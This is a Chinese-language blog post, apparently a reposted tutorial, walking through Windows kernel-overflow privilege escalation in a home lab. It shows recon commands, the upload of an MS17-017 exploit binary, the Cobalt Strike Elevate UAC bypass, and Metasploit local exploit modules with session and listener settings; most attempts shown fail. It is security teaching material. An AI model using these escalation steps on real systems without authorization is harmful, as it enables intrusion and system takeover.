首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Windows 提权 — 系统内核溢出漏洞提权

  • 25-02-20 14:41
  • 2585
  • 8476
blog.csdn.net

关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让电脑蓝屏,所以如果是测试的话,提权前最好做好系统备份。

溢出漏洞就像是往杯子里装水 —— 如果水太多,被子装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁 —— 即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性 —— 如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方式提权,就必须找出目标系统的 0day 漏洞。

0x0101:远程溢出漏洞 & 本地溢出漏洞

溢出提权从形式上可以分为远程溢出和本地溢出。

远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程 Windows 服务器的 System 权限(比如 MS17-010 漏洞,你只需要填写靶机的 IP,就自动拿到高权限了)。

本地溢出是主流的提权方式,通常需要向目标服务器上传本地溢出程序,然后在服务器中执行,如果目标系统中存在该漏洞,那么将会溢出获得 Windows 操作系统 System 权限。

0x0102:溢出漏洞提权的基本步骤

缓冲区溢出漏洞提权的基本步骤如下:

  1. 信息收集:查看当前权限、操作系统版本、操作系统已经安装的补丁。

  2. 根据收集到的信息查找目标机器上未安装的补丁对应的提权漏洞。

  3. 根据漏洞查找 EXP

  4. 使用 EXP 提权。

0x02:Windows 系统内核溢出漏洞实战

实验环境简介

  • 靶机 Windows 7 :IP 192.168.0.118

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

0x0201:靶机信息收集

我们首先先让靶机上线 CS,并确保通过 CS 能够进行远控:

输入下面的命令,查看当前用户的权限:

  1.  shell whoami # 结果: blue17-pc\defender-windows 7,不是管理员
  2.  shell whoami /groups # 查看权限等级

输入下面的命令,查看系统补丁信息:

 shell systeminfo

0x0202:手动寻找提权 EXP 提权

1. 定位目标可能存在的提权漏洞

将上面拿到的系统信息,复制到下面这个网站,来寻找目标系统可能存在的提权漏洞(这种站点非常多,相关工具也很多,可以自己收集一些):

  1.  url: https://www.adminxe.com/CompareSys/
  2.  title: "Windows提权对比辅助"
  3.  host: www.adminxe.com

2. 使用漏洞对应的 EXP 进行提权

找到了目标可能存在的提权漏洞后,下一步就是去寻找对应的提权 EXP,然后一个个试。

比如上面的第一个 MS17-017 漏洞,巧了,笔者这里就有 EXP,还有使用说明(不同的 EXP 用法不一样,详情还是得看使用说明):

将 MS17-017.exe 上传到靶机:

然后在 CS 命令行运行该工具即可进行提权:

 shell MS17-017.exe

挺可惜的哈,当我们在 CS 中运行这个 exe 尝试进行提权失败了,完了靶机还给弹窗了。虽然这个是失败了,但是流程不变,我们上面扫了那么多的提权漏洞,按照上面的流程,搜索 EXP 一个一个试就可以了。

0x0203:Cobalt Strike 提权

使用 Cobalt Strike 提权就简单多了,右击上线靶机,选择 “Access” => “Elevate”(提权模块),然后随便配置一个监听器,点击 Launch 即可:

如上显示提权成功,值得注意的是,这里笔者选择的 Exploit 是 uac-token-duplication,是一个 UAC 绕过的提权(Windows 的 UAC 认证笔者前面在之前的章节中讲解过,这里就不讲解了),提权成功后,CS 客户端会再接收一个 Shell:

MSF 的提权还可以通过扩展插件完成,使用方法就是右击上线机器,选择对应模块,提就完了,不知道哪个可以用,你就一个一个试,试不出来,就可以去换 MSF 再试。

0x0204:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

首先先让目标上线 MSF,并将上线的会话使用 bg 命令挂起在后台(可以看到 session id 为 1):

然后使用 local_exploit_suggester 模块扫描目标可能存在的漏洞:

  1.  use post/multi/recon/local_exploit_suggester # 使用模块
  2.  set SESSION 1                                # 设置扫描的会话 id
  3.  run                                          # 启用漏洞扫描功能

2. 使用漏洞对应的 EXP 进行提权

下面就是从上往下,一个一个试了:

  1.  use exploit/windows/local/bypassuac_eventvwr # 这个是插件扫出来的模块
  2.  set SESSION 1                                # 具体配置得看插件
  3.  set LPORT 4445                               # 为了避免端口冲突
  4.  run

如上,第一个失败了,我们换第二个:

  1.  use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move # 第二个插件
  2.  set SESSION 1                                # 具体配置得看插件
  3.  set LHOST 192.168.0.100                      # 这个是插件要求的
  4.  set LPORT 4445                               # 为了避免端口冲突
  5.  run

如上,第二个也失败了,那就换第三个。反正也是就这么换下去。至于为啥上面会失败,笔者是这样想的,笔者使用的用户虽然叫 Defender-Windows 7 但其实这用户绕个 UAC 就有管理员权限了。所以它其实不是系统中的普通用户,它自己权限是足够高的,所以才会试验这么多提权都失败。

尽管演示结果是失败的,但是本文主要是讲解提权的思路,针对 Windows 内核溢出漏洞提权的流程就是上面演示的这样,收集目标信息,然后查找可能存在的提权漏洞,一个一个尝试。

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145395029"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top